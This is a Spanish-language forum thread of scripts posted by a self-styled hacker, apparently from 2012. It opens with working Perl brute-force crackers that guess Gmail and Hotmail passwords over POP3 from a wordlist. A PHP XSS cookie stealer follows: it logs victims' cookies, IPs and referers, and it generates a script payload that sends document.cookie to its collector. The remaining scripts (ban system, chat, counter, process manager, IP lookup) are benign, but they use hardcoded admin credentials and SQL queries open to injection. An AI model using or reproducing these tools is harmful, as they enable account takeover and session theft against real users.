Mensajes

Un simple programa para crackear una cuenta Gmail.

Código (perl) [Seleccionar] Expandir


#Gmail Cracker 0.1
#Coded By Doddy H
#http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm
#http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
#ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd

use Mail::POP3Client;
use IO::Socket::SSL;

head();

if($ARGV[0] and $ARGV[1]) {
crackgmail($ARGV[0],$ARGV[1]);
} else {
print "\n[+] Sintax : $0 <email> <wordlist>\n";
}

copyright();

sub crackgmail {

my($user,$wordlist) = @_ ;

unless(-f $wordlist) {
print "\n[-] Wordlist not found\n";
copyright();
}

print "\n[+] Loading wordlist\n";

open(FILE,$wordlist);
my @passwords = <FILE>;
close FILE;

print "\n[+] Words Found : ".int(@passwords)."\n";
print "\n[+] Cracking...\n\n";

for my $pass(@passwords) {
chomp $pass;

my $so = IO::Socket::SSL->new(PeerAddr=>"pop.gmail.com",PeerPort => 995,Proto => "tcp");

my $nave = Mail::POP3Client->new();

$nave->User($user);
$nave->Pass($pass);
$nave->Socket($so);

if ($nave->Connect()) {
print "\a\a\n[+] Email : $user\n";
print "[+] Password : $pass\n";
$so->close();
$nave->close();
copyright();
}
$so->close();
$nave->close();
}

print "\n[+] Password not found\n";

}

sub head {
print "\n\n-- == Gmail Cracker == --\n\n";
}

sub copyright {
print "\n\n(C) Doddy Hackman 2012\n\n";
exit(1);
}

# The End ?


Un simple script para crackear una cuenta Hotmail.

Código (perl) [Seleccionar] Expandir


#Hotmail Cracker 0.1
#Coded By Doddy H
#http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm
#http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
#ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd

use Mail::POP3Client;
use IO::Socket::SSL;

head();

if($ARGV[0] and $ARGV[1]) {
crackhot($ARGV[0],$ARGV[1]);
} else {
print "\n[+] Sintax : $0 <email> <wordlist>\n";
}

copyright();

sub crackhot {

my($user,$wordlist) = @_ ;

unless(-f $wordlist) {
print "\n[-] Wordlist not found\n";
copyright();
}

print "\n[+] Loading wordlist\n";

open(FILE,$wordlist);
my @passwords = <FILE>;
close FILE;

print "\n[+] Words Found : ".int(@passwords)."\n";
print "\n[+] Cracking...\n\n";

for my $pass(@passwords) {
chomp $pass;

my $so = IO::Socket::SSL->new(PeerAddr=>"pop3.live.com",PeerPort => 995,Proto => "tcp");

my $nave = Mail::POP3Client->new();

$nave->User($user);
$nave->Pass($pass);
$nave->Socket($so);

if ($nave->Connect()) {
print "\a\a\n[+] Email : $user\n";
print "[+] Password : $pass\n";
$so->close();
$nave->close();
copyright();
}
$so->close();
$nave->close();
}

print "\n[+] Password not found\n";

}

sub head {
print "\n\n-- == Hotmail Cracker == --\n\n";
}

sub copyright {
print "\n\n(C) Doddy Hackman 2012\n\n";
exit(1);
}

# The End ?


Un simple codigo para banear una IP.

El codigo

Código (php) [Seleccionar] Expandir


<?php 

//Ban System 0.1
//Coded By Doddy H

//Datos para la DB

$host = "localhost";
$userw = "root";
$passw = "";
$db = "ban";

//

mysql_connect($host,$userw,$passw);
mysql_select_db($db);

$ipa = ip2long($_SERVER[REMOTE_ADDR]);
$ip = $_SERVER[REMOTE_ADDR];

if ($ipa == -1 || $ipa === FALSE) {

$re = mysql_query("select ip from bansystem where ip='$ip'");

if (mysql_num_rows($re) > 0) {
echo "<center><h1>Has sido baneado de esta pagina</h1></center>";
} else {
echo "<center><h2>Bienvenido</h2></center>";
}

} else {
echo "<script>alert('Muy gracioso');</script>";
}

mysql_close();


// The End ?


?>



El administrador

Código (php) [Seleccionar] Expandir


<?php 

//Ban System Admin 0.1
//Coded By Doddy H

//Datos para el login

$username = "admin";
$password = "21232f297a57a5a743894a0e4a801fc3"; //admin

//

//Datos para la DB

$host = "localhost";
$userw = "root";
$passw = "";
$db = "ban";

//

if (isset($_COOKIE['portal'])) {

$st = base64_decode($_COOKIE['portal']);

$plit = split("@",$st);
$user = $plit[0];
$pass = $plit[1];

if ($user == $username and $pass == $password) {

mysql_connect($host,$userw,$passw);
mysql_select_db($db);

if(isset($_POST['instalar'])) {

$todo = "create table bansystem (
id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
ip TEXT NOT NULL,
PRIMARY KEY(id));
";

if (mysql_query($todo)) {
echo "<script>alert('Instalado correctamente');</script>";
echo '<meta http-equiv="refresh" content=0;URL=>';
} else {
echo "<script>alert('Error');</script>";
}
}

if( mysql_num_rows(mysql_query("show tables like 'bansystem'"))) {
//Lo demas

echo "<title>BanSystem Administracion</title>";
echo "<center><h1>BanSystem Administracion</h1></center><br><br>";

if(isset($_POST['ipadd'])) {

$ipfinal = ip2long($_POST['ipadd']);
$ipaz = $_POST['ipadd'];

if ($ipfinal == -1 || $ipfinal === FALSE) {
echo "<script>alert('Eso no es una IP');</script>";

} else {

if (mysql_query("INSERT INTO bansystem (id,ip) values (NULL,'$ipaz')")) {
echo "<script>alert('IP Agregada');</script>";
} else {
echo "<script>alert('Error');</script>";
}


}
}

if(isset($_GET['del'])) {
$id = $_GET['del'];
if (@mysql_query("DELETE FROM bansystem where id ='$id'")) {
echo "<script>alert('Borrado');</script>";
} else {
echo "<script>alert('Error');</script>";
}
}

echo "
<center>
<h2>Agregar una IP</h2><br><br>
<form action='' method=POST>
IP : <input type=text name=ipadd value=127.0.0.1><input type=submit value=Agregar>
</form>
<br><br>
<h2>Baneados</h2><br><br>
<table border=1>
<td>ID</td><td>IP</td><td>Option</td><tr>";

$sen = @mysql_query("select * from bansystem order by id ASC");

while ($ab = @mysql_fetch_array($sen)) {
echo "<td>".htmlentities($ab[0])."</td><td>".htmlentities($ab[1])."</td><td><a href=?del=".htmlentities($ab[0]).">Delete</a></td><tr>";
}

echo "</table>
</center>
";
//
} else {
echo "
<center><br><br>
<form action='' method=POST>
<h2>Deseas instalar Ban System ?</h2><br><br>
<input type=submit name=instalar value=Instalar>
</form>";
}

mysql_close();
exit(1);

// End

} else {
echo "<script>alert('Segui Participando');</script>";
}
}

if (isset($_POST['login'])) {
if ($_POST['user'] == $username and md5($_POST['password']) == $password) {
setcookie("portal",base64_encode($_POST['user']."@".md5($_POST['password'])));
echo "<script>alert('Bienvenido idiota');</script>";
echo '<meta http-equiv="refresh" content=0;URL=>';
} else {
echo "<script>alert('Segui Participando');</script>";
}

} else {

echo "
<title>Ban System</title>
<h1><center>Ban System</center></h1>
<br><br><center>
<form action='' method=POST>
Username : <input type=text name=user><br>
Password : <input type=text name=password><br><br>
<input type=submit name=login value=Enter><br>
</form>
</center><br><br>";

}

// The End ?


?>


Un simple cookie stealer para XSS.

Código (php) [Seleccionar] Expandir


<?php 

//CookieManager 0.3
//Coded By Doddy H

//Datos para el login

$username = "admin";
$password = "21232f297a57a5a743894a0e4a801fc3"; //admin

//

//Datos para la DB

$host = "localhost";
$userw = "root";
$passw = "";
$db = "cookies";

//

mysql_connect($host,$userw,$passw);
mysql_select_db($db);

if(isset($_GET['id'])) {

if(empty($_GET['id'])) {
error();
}

$dia = date("d.m.Y");
$ip = $_SERVER["REMOTE_ADDR"];
$info = $_SERVER["HTTP_USER_AGENT"];
$ref = $_SERVER["HTTP_REFERER"];
$cookie = $_GET['id'];

@mysql_query("INSERT INTO todo(id,fecha,ip,info,referer,cookie)values(NULL,'$dia','$ip','$info','$ref','$cookie')");

header("Location:http://www.google.com.ar");

}

elseif (isset($_COOKIE['portal'])) {

$st = base64_decode($_COOKIE['portal']);

$plit = split("@",$st);
$user = $plit[0];
$pass = $plit[1];


if ($user == $username and $pass == $password) {

echo "<title>CookieManager 0.3</title>";

echo "<STYLE type=text/css>

body,a:link {
background-color: #000000;
color:orange;
Courier New;
cursor:crosshair;
font-size: small;
}

input,table.outset,table.bord,table,textarea,select,fieldset,td,tr {
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
background-color:black;
color:orange; 
border: solid 1px orange;
border-color:orange
}

a:link,a:visited,a:active {
color: orange;
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
text-decoration: none;
}

</style>
";

if(isset($_POST['instalar'])) {

$todo = "create table todo (
id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
fecha TEXT NOT NULL,
ip TEXT NOT NULL,
info TEXT NOT NULL,
referer TEXT NOT NULL,
cookie TEXT NOT NULL,
PRIMARY KEY (id));
";

if (mysql_query($todo)) {
echo "<script>alert('Installed');</script>";
} else {
echo "<script>alert('Error');</script>";
}
}

if( mysql_num_rows(mysql_query("show tables like 'todo'"))) {

//

if(isset($_GET['del'])) {
if (is_numeric($_GET['del'])) {
if (@mysql_query("delete from todo where id='".$_GET['del']."'")) {
echo "<script>alert('Deleted');</script>";
} else {
echo "<script>alert('Error');</script>";
}}}

echo "<center>";
echo "<h1>CookieManager</h1><br><br>";


$iny = htmlentities("<script>document.location='http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."?id='%2Bdocument.cookie</script>");

echo "<b>CODE</b> : <input type=text name=iny value=$iny size=104><br><br>";

$re = mysql_query("select * from todo order by id ASC");
$con = mysql_num_rows($re);

if ($con==0) {
echo "<script>alert('Not found cookies');</script>";
} else {

echo "<br><br><h1>Cookies Found</h1><br><br><table border=1 width=1100>";
echo "<td><b>ID</b></td><td><b>Date</b></td><td><b>IP</b></td><td><b>Data</b></td><td><b>Referer</b></td><td><b>Cookie</b></td><td><b>Option</b></td><tr>";

while ($ver = mysql_fetch_array($re)) {

echo "<td>".htmlentities($ver[0])."</td><td>".htmlentities($ver[1])."</td><td>".htmlentities($ver[2])."</td><td>".htmlentities($ver[3])."</td>"; 
echo "<td>".htmlentities($ver[4])."</td><td>".htmlentities($ver[5])."</td><td><a href=?del=".$ver[0].">Del</a></td><tr>";

}

echo "</table>";
echo "<br><br><br><br><br><h1>Coded By Doddy H || 2012</h1><br><br>";




}

//

} else {
echo "
<center><br><br>
<form action='' method=POST>
<h2>Deseas instalar CookieManager ?</h2><br><br>
<input type=submit name=instalar value=Instalar>
</form>";
}
exit(1);
}
}

elseif (isset($_POST['login'])) {
if ($_POST['user'] == $username and md5($_POST['password']) == $password) {
setcookie("portal",base64_encode($_POST['user']."@".md5($_POST['password'])));
echo "<script>alert('Welcome idiot');</script>";
echo '<meta http-equiv="refresh" content=0;URL=>';
} else {
echo "<script>alert('Continued to participate');</script>";
}
}

elseif(isset($_GET['adminow'])) {

echo "
<h1><center>Login</center></h1>
<br><br><center>
<form action='' method=POST>
Username : <input type=text name=user><br>
Password : <input type=text name=password><br><br>
<input type=submit name=login value=Enter><br>
</form>
</center><br><br>";
} else {

error();

}

function error() {
echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>';
exit(1);
}


mysql_close();

// The End ?


?>



Una nueva version del simple chat que habia hecho hace un tiempo.

El codigo del chat

Código (php) [Seleccionar] Expandir


<?php

//Mini Chat 0.3 
//Coded By Doddy H

//Datos del a DB

$host = "localhost";
$user = "root";
$pass = "";
$db = "chat";

//

//Colores

$fondo = "black";
$color = "#00FF00";

//

echo "
<style>

.main {
word-wrap: break-word;
word-break:break-all; 
margin : -287px 0px 0px -490px;
border : White solid 1px;
BORDER-COLOR: $color; 
background-color:$fondo;
color:$color;
}

.otro {
background-color:$fondo;
color:$color;
BORDER-COLOR: $color;
}

</style>";

mysql_connect($host,$user,$pass);
mysql_select_db($db);

echo "<table border=0 width='210' style='table-layout: fixed'>";
echo "<td class=main><b>Mini Chat 0.3</b></td><tr class=main>";


$sumo = mysql_query("SELECT MAX(id_comentario) FROM mensajes");

$s = mysql_fetch_row($sumo);

foreach ($s as $d) {
$total = $d;
}

$test = $total - 10;

if ($test <= 0) {
next;
} else {
$resto = $test;

for ($i = 1; $i <= $resto; $i++) {
@mysql_query("DELETE FROM mensajes where id_comentario='$i'");
}
}

$re = @mysql_query("select * from mensajes order by id_comentario DESC");

while ($ver = @mysql_fetch_array($re)) {
echo "<td class=main><b>".$ver[2]."</b>:".$ver[1]."</td><tr class=main>";
}


echo "<br><br><td class=main><br><b>Dejar mensaje</b><br><br>
<form action='' method=POST>
Apodo : <input class=otro type=text name=apodo size=25><br>
Texto : <input class=otro type=text name=msg size=25><br><br>
<input class=otro type=submit name=chatentro value=Mandar>
</form>
<tr>
<td class=main><b>Coded By Doddy H</b></td><tr class=main>
</table>";


if (isset($_POST['chatentro'])) {

$sumo = mysql_query("SELECT MAX(id_comentario) FROM mensajes");

$s = mysql_fetch_row($sumo);

foreach ($s as $d) {
$x_id = $d+1;
}

$apodo = htmlentities(addslashes($_POST['apodo']));
$mensaje  = htmlentities(addslashes($_POST['msg']));

$apodo = substr($apodo,0,70);
$mensaje = substr($mensaje,0,70);

$rex = mysql_query("select mensaje from insultos");

while ($con = mysql_fetch_array($rex)) {
$mensaje = str_replace($con[0],"#$!*",$mensaje);
$apodo = str_replace($con[0],"#$!*",$apodo);
}

@mysql_query("INSERT INTO mensajes(id_comentario,apodo,mensaje)values('$x_id','$apodo','$mensaje')");

echo '<meta http-equiv="refresh" content=0;URL=>';

}

mysql_close();

// The End ? 

?>


El administrador.

Código (php) [Seleccionar] Expandir


<?php 

//Mini Chat 0.3 Admin

//Datos para el login

$username = "admin";
$password = "21232f297a57a5a743894a0e4a801fc3"; //admin

//

//Datos para la DB

$host = "localhost";
$userw = "root";
$passw = "";
$db = "chat";

//

if (isset($_COOKIE['portal'])) {

$st = base64_decode($_COOKIE['portal']);

$plit = split("@",$st);
$user = $plit[0];
$pass = $plit[1];

if ($user == $username and $pass == $password) {

echo "<title>Mini Chat 0.3</title>";

mysql_connect($host,$userw,$passw);
mysql_select_db($db);

if(isset($_POST['instalar'])) {

$todo = "create table mensajes (
id_comentario int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
mensaje TEXT NOT NULL,
apodo VARCHAR(255) NOT NULL,
PRIMARY KEY (id_comentario));
";

$todo2 = "create table insultos (
id_insulto int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
mensaje TEXT NOT NULL,
PRIMARY KEY (id_insulto));
";

if (mysql_query($todo)) {
if (mysql_query($todo2)) {

$insultos = array("lammer","lamer","maricon","noob");

foreach ($insultos as $con) {
@mysql_query("INSERT INTO insultos(id_insulto,mensaje)values(NULL,'$con')");
}

echo "<script>alert('Instalado correctamente');</script>";
echo '<meta http-equiv="refresh" content=0;URL=>';
}
} else {
echo "<script>alert('Error');</script>";
}
}

if( mysql_num_rows(mysql_query("show tables like 'mensajes'"))) {

//

$re = mysql_query("select * from mensajes order by id_comentario ASC");

if (isset($_GET['id'])) {
if (is_numeric($_GET['id'])) {
if (@mysql_query("delete from mensajes where id_comentario='".$_GET['id']."'")) {
echo "<script>alert('Comentario borrado');</script>";
} else {
echo "<script>alert('Error');</script>";
}}}

echo "<center><h2>Comentarios encontrados</h2><br><br>";
echo "<table border=1>";
echo "<td><b>ID</b></td><td><b>Apodo</b></td><td><b>Texto</b></td><td><b>Opcion</b></td><tr>";

while ($ver = mysql_fetch_array($re)) {
echo "<td>".htmlentities($ver[0])."</td><td>".htmlentities($ver[2])."</td><td>".htmlentities($ver[1])."</td><td><a href=?id=".htmlentities($ver[0]).">Borrar</a></td><tr>";
}

echo "</table>";

if(isset($_POST['nuevoinsulto'])) {
$in = $_POST['insul'];
@mysql_query("INSERT INTO insultos(id_insulto,mensaje)values(NULL,'$in')");
}

if(isset($_GET['delpu'])) {
if (is_numeric($_GET['delpu'])) {
if (@mysql_query("delete from insultos where id_insulto='".$_GET['delpu']."'")) {
echo "<script>alert('Insulto borrado');</script>";
} else {
echo "<script>alert('Error');</script>";
}}}

echo "<br><br><h2>Bloqueo de insultos</h2><br><br>";
echo "
<form action='' method=POST>
Texto : <input type=text name=insul>
<input type=submit name=nuevoinsulto value=Agregar>
</form>";

echo "<br><br><h2>Insultos encontrados</h2><br><br>";

$rea = mysql_query("select * from insultos order by id_insulto ASC");

echo "<table border=1>";
echo "<td>ID</td><td>Insulto</td><td>Opcion</td><tr>";
while ($ver = mysql_fetch_array($rea)) {
echo "<td>".htmlentities($ver[0])."</td><td>".htmlentities($ver[1])."</td><td><a href=?delpu=".htmlentities($ver[0]).">Borrar</a></td><tr>";
}

echo "</table>";
echo "</center>";

} else {
echo "
<center><br><br>
<form action='' method=POST>
<h2>Deseas instalar Mini Chat 0.3 ?</h2><br><br>
<input type=submit name=instalar value=Instalar>
</form>";
}

mysql_close();
exit(1);

}
}

if (isset($_POST['login'])) {
if ($_POST['user'] == $username and md5($_POST['password']) == $password) {
setcookie("portal",base64_encode($_POST['user']."@".md5($_POST['password'])));
echo "<script>alert('Bienvenido idiota');</script>";
echo '<meta http-equiv="refresh" content=0;URL=>';
} else {
echo "<script>alert('Segui Participando');</script>";
}

} else {

echo "
<title>Mini Chat 0.3</title>
<h1><center>Mini Chat 0.3</center></h1>
<br><br><center>
<form action='' method=POST>
Username : <input type=text name=user><br>
Password : <input type=text name=password><br><br>
<input type=submit name=login value=Enter><br>
</form>
</center><br><br>";

}

// The End ?


?>



Un simple contador de visitas.

La clase del contador

Código (php) [Seleccionar] Expandir


<?php

/*

Base de un contador de visitas 

V 0.1

Coded By Doddy H

*/


class contador {

public function start($host,$user,$pass,$db) {

if ($test = @mysql_connect($host,$user,$pass)) {
if (mysql_select_db($db)) {
return true;
}}}

public function end() {
$test->close;
}

public function instalar() {

$todo1 = "create table visitas (
suma int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
PRIMARY KEY (suma));
";

if (mysql_query($todo1)) {
return true;
}
}

public function desinstalar() {

if (@mysql_query("drop table visitas")) {
return true;
}}

public function otromas() {
if (@mysql_query("INSERT INTO visitas(suma)VALUES('NULL')")) {
return true;
}}

public function totalvisitas() {
return mysql_num_rows(mysql_query("select suma from visitas"));
}

}

// The End ? 

?>


Ejemplos de uso

Código (php) [Seleccionar] Expandir


<?php 

include_once("contador.php");

$name = New contador;

$name->start("localhost","root","","contador");
//$name->instalar();
//$name->desinstalar();

$name->otromas();//funcion vital para contar la visita

$cantidad = $name->totalvisitas(); //funcion para contar el total de visitas

echo "<center><h1>Total de visitas $cantidad</h1></center>";

$name->end();

// The End ?


?>


Un bot para IRC con funciones orientadas al hacking asi como codificaciones , buscador de SQLI u otras.

http://pastebin.com/g3dxSf2C

Un reemplazo de console CMD con las siguientes opciones

[++] Reconocer IP de un Host
[++] Capturar Links de una pagina
[++] Capturar todos los procesos activos
[++] Matar algun proceso
[++] Conectarse a donde sea con sockets
[++] Capturar metodos de un servidor HTTP
[++] Buscar paths activos para listado de directorios
[++] Encode/Decode para Hex,ASCII,Base64
[++] Scannear puertos
[++] Buscar panel de administracion
[++] Crackear un hash mediante paginas
[++] Scanner SQLI
[++] Cliente FTP y MYSQL
[++] Reconocer informacion de una ip
[++] Whois xD
[++] Navegador de archivos
[++] Scannear en google mediante dorks


http://pastebin.com/inQWXx9A

Un simple script para manejar los procesos en Windows.

Código (perl) [Seleccionar] Expandir


#!usr/bin/perl
#Manager 0.3
#Written By Doddy H

use Color::Output;
Color::Output::Init;
use Win32::OLE qw(in);
use Win32::Process;

&clean;
&options;

sub clean {
   cprint "\x0313";
   print
"\nManager 0.3\nCopyright 2012 Doddy Hackman\nMail:lepuke[at]hotmail[com]\n\n";
   cprint "\x0x30\n\n";
   my %process = getprocess();
   chomp %process;
   $limit = "";
   for my $pid ( keys %process ) {
       if ( $pid ne "" ) { $limit++ }
       push( @procer, $process{$pid} );
       push( @pids,   $pid );
       chomp( @procer, @pids );
   }
   $limit--;
   for my $n ( 1 .. $limit ) {
       cprint "\x037";
       print
         "Process Number: [$n]\tProcess name : $procer[$n]\tPID : $pids[$n]\n";
       cprint "\x037";
   }
}

sub options {
   cprint "\0035";
   print
"\n\nOptions :\n\n[a] : Close a process\n[b] Clean Console\n[c] Exit\n\n\n[+] Write you options : ";
   $t = <STDIN>;
   chomp $t;
   if ( $t eq "a" ) {
       &close;
   }
   elsif ( $t eq "b" ) {
       reload();
   }
   elsif ( $t eq "c" ) {
       print "\n\n[+] Written By Doddy H\n\n";
       <stdin>;
       exit(1);
   }
   else {
       reload();
   }
}

sub close {
   print "\n[+] Write the number of the process : ";
   $numb = <STDIN>;
   chomp $numb;
   Win32::Process::KillProcess( @procer[$numb], "" );
   print "\n\n[+] OK , Process Closed\n\n";
   <stdin>;
   reload();
}

sub reload {
   system("cls");
   system($0);
   &clean;
   &options;
}

sub getprocess {

   my %procesos;

   my $uno = Win32::OLE->new("WbemScripting.SWbemLocator");
   my $dos = $uno->ConnectServer( "", "root\\cimv2" );

   foreach my $pro ( in $dos->InstancesOf("Win32_Process") ) {
       $procesos{ $pro->{Caption} } = $pro->{ProcessId};
   }
   return %procesos;
}

# The End ?



La nueva version de este programa para buscar informacion sobre un ip.

Código (perl) [Seleccionar] Expandir


#!usr/bin/perl
#LocateIP 0.3 (C) Doddy Hackman 2012

use LWP::UserAgent;
use IO::Socket;

my $nave = LWP::UserAgent->new();
$nave->timeout(5);
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);

head();
if ( $ARGV[0] ) {
   start( $ARGV[0] );
}
else {
   sintax();
}
copyright();

sub start {
   print "\n[+] Target :  $_[0]\n";
   infocon( $_[0] );
}

sub sintax {
   print "\n[+] sintax : $0 <web>\n";
}

sub head {
   print q(



@      @@@@    @@@@    @    @@@@@  @@@@@     @  @@@@@
@     @    @  @    @   @      @    @         @  @    @
@     @    @  @       @ @     @    @         @  @    @
@     @    @  @       @ @     @    @         @  @    @
@     @    @  @      @   @    @    @@@@      @  @@@@@
@     @    @  @      @   @    @    @         @  @    
@     @    @  @      @@@@@    @    @         @  @    
@     @    @  @    @@     @   @    @         @  @    
@@@@@  @@@@    @@@@ @     @   @    @@@@@     @  @    



);
}

sub copyright {
   print "\n\n== --(C) Doddy Hackman 2012 -- ==\n\n";
   exit(1);
}

sub infocon {
   my $target = shift;

   my $get    = gethostbyname($target);
   my $target = inet_ntoa($get);

   print "\n\n[+] Getting info\n\n\n";
   $total =
     "http://www.melissadata.com/lookups/iplocation.asp?ipaddress=$target";
   $re = toma($total);

   if ( $re =~ /City<\/td><td align=(.*)><b>(.*)<\/b><\/td>/ ) {
       print "[+] City : $2\n";
   }
   else {
       print "[-] Not Found\n";
       copyright();
   }
   if ( $re =~ /Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>/ ) {
       print "[+] Country : $2\n";
   }
   if ( $re =~ /State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>/ ) {
       print "[+] State or Region : $2\n";
   }

   print "\n\n[+] Getting Hosts\n\n\n";

   my $code = toma( "http://www.ip-adress.com/reverse_ip/" . $target );

   while ( $code =~ /whois\/(.*?)\">Whois/g ) {
       my $dns = $1;
       chomp $dns;
       print "[DNS] : $dns\n";
   }
}

sub toma {
   return $nave->get( $_[0] )->content;
}

# ¿ The End ?